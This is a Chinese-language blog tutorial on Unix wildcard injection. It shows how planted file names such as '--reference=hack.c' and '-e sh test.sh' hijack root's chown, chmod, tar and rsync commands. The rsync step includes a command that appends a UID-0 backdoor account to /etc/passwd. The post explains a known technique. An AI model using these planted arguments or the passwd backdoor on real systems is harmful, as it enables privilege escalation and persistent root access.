LINUX Wildcards利用
一、有关通配符
wildcards指通配符,学过类 LINUX 系统的,应该都知道什么是通配符。直不知道也没关系,我这里列下几个常见的通配符:
1* 代表任意多个字符
2? 代表任意单个字符
3[ ] 代表“[”和“]”之间的某一个字符,比如[0-9]可以代表0-9之间的任意一个数字,[a-zA-Z]可以代表a-z和A-Z之间的任意一个字母,字母区分大小写
4– 代表一个字符
5~ 用户的根目录
其为什么会被利用?是由于Wildcard wildness(通配符在野)导致的。我们先看一个示例:
你会发现使用如下方法都不成功:
1cat '--help'
2cat "--help"
3cat "\-\-help"
4cat \-\-help
同样,使用 rm 删除时也会存在这样的问题。由于我们在进行命令操作时经常会以“-” 后面接参数,所以这里就把这个值当参数了,就会造成异常。如果要处理这种文件可以有两种方法:
方法1:cat ./–help 可以正常查看;
方法2:find . -inum xxx 后面再通过exec或xargs参数进行处理。
二、chown 和 chmod 命令下的利用
1、chown
chown命令用于修改文件或目录的属主和属组。但在通查看其帮助信息时,会发现这样一个参数:–reference=RFILE(直接引用某个文件的属性来替换自己的元数据)。
假如我们目前有一个目录下有如下一些文件:
1[root@361way mk]# ll
2total 12
3-rw-r--r-- 1 zabbix zabbix 71 Jan 4 15:58 myrand.c
4-rw-r--r-- 1 zabbix zabbix 146 Jan 4 15:58 preload.c
5-rw-r--r-- 1 zabbix zabbix 161 Jan 4 15:58 test.c
接下来有一个坏家伙叫kiosk的用户,在这个目录下创建了如下两个文件:
1[root@361way mk]# ll
2total 20
3-rw-r--r-- 1 kiosk kiosk 1 Jan 4 15:59 hack.c
4-rw-r--r-- 1 zabbix zabbix 71 Jan 4 15:58 myrand.c
5-rw-r--r-- 1 zabbix zabbix 146 Jan 4 15:58 preload.c
6-rw-r--r-- 1 kiosk kiosk 1 Jan 4 15:59 --reference=hack.c
7-rw-r--r-- 1 zabbix zabbix 161 Jan 4 15:58 test.c
这两个文件里并没有内容,都是直接echo创建的。当我们使用root看到后,想让该目录下的所有文件全部修改为zabbix:zabbix ,但我们执行以后,奇怪的事情发生了:
上面我们明明使用root把所有的文件赋权给了zabbix,结果事与愿违,所有的文件属主和属组都变成了坏家伙kiosk。是不是很神奇?原理是和上面cat –help是一样的。
2、chmod
同样查看chmod的帮助信息时,也会发现这样同样的参数:–reference=RFILE(直接引用某个文件的属性来替换自己的元数据)。
坏小子kiosk用户看到这个参数欣喜若狂,我们再看下神奇的事情:
1[kiosk@361way mk]$ echo "">--reference=hack.c
2[kiosk@361way mk]$ chmod 777 hack.c
3[kiosk@361way mk]$ ll
4total 20
5-rwxrwxrwx 1 kiosk kiosk 1 Jan 4 15:59 hack.c
6-rw-r--r-- 1 zabbix zabbix 71 Jan 4 15:58 myrand.c
7-rw-r--r-- 1 zabbix zabbix 146 Jan 4 15:58 preload.c
8-rw-rw-r-- 1 kiosk kiosk 1 Jan 4 16:14 --reference=hack.c
9-rw-r--r-- 1 zabbix zabbix 161 Jan 4 15:58 test.c
root 用户为防止有人使坏,把这个目录下的所有文件的权限修改成了000,看下会发生什么:
是不是防不胜防,又被忽悠了。本来想回收权限,结果所有文件的权限都变成了777。如果坏小子刚好有权限在/bin这样的目录搞了上面这样两个空文件,并且把hack.c文件的权限设置成了4777,被root赋权操作后会发生什么?天啊,是不是不敢想想。
三、tar通配符注入
tar注入这个之前提到过,这里再提下,其主要利用的如下两个参数:
–checkpoint[=NUMBER] 显示每个Numbers记录的进度消息(默认值为10)
–checkpoint-action=ACTION 在每个checkpoint(检查点)上执行ACTION
我们可以将要执行的内容写在action后面,这里还是列下样图:
四、rsync通配符提权
rsync提权使用的参数如下:
1-e, --rsh=COMMAND 远程主机使用的shell
2--rsync-path=PROGRAM 远程主机执行时去的路径
我们先搞下需要利用的脚本和相关文件:
1[root@361way mk]# echo "echo 'hack:$1$sGg9xnlG$stAHxVHnZz16SctSEcXXC.:0:0::/root:/bin/bash'>>/etc/passwd" >test.sh
2[root@361way mk]# cat test.sh
3echo 'hack:$1$sGg9xnlG$stAHxVHnZz16SctSEcXXC.:0:0::/root:/bin/bash'>>/etc/passwd
4[root@361way mk]# tail -1 /etc/passwd
5zabbix:x:1003:1003::/home/zabbix:/bin/bash
6[root@361way mk]# echo "">'-e sh test.sh'
7[root@361way mk]# ll
8total 20
9-rw-r--r-- 1 root root 1 Jan 4 16:39 -e sh test.sh
10-rw-r--r-- 1 zabbix zabbix 71 Jan 4 16:40 myrand.c
11-rw-r--r-- 1 zabbix zabbix 146 Jan 4 16:40 preload.c
12-rw-r--r-- 1 zabbix zabbix 161 Jan 4 16:40 test.c
13-rw-r--r-- 1 root root 81 Jan 4 16:39 test.sh
这个利用起来和 tar一样,也是有条件的,如下:
跟tar的利用一样,直接使用绝对路径是不行的,在当前目录是可以提权的。
关于通配符提权就先到这里吧,参考如下文档:
https://www.exploit-db.com/papers/33930 (Back To The Future: Unix Wildcards Gone Wild)
捐赠本站(Donate)
如您感觉文章有用,可扫码捐赠本站!(If the article useful, you can scan the QR code to donate))
- Author: shisekong
- Link: https://blog.361way.com/wildcards/5971.html
- License: This work is under a 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议. Kindly fulfill the requirements of the aforementioned License when adapting or creating a derivative of this work.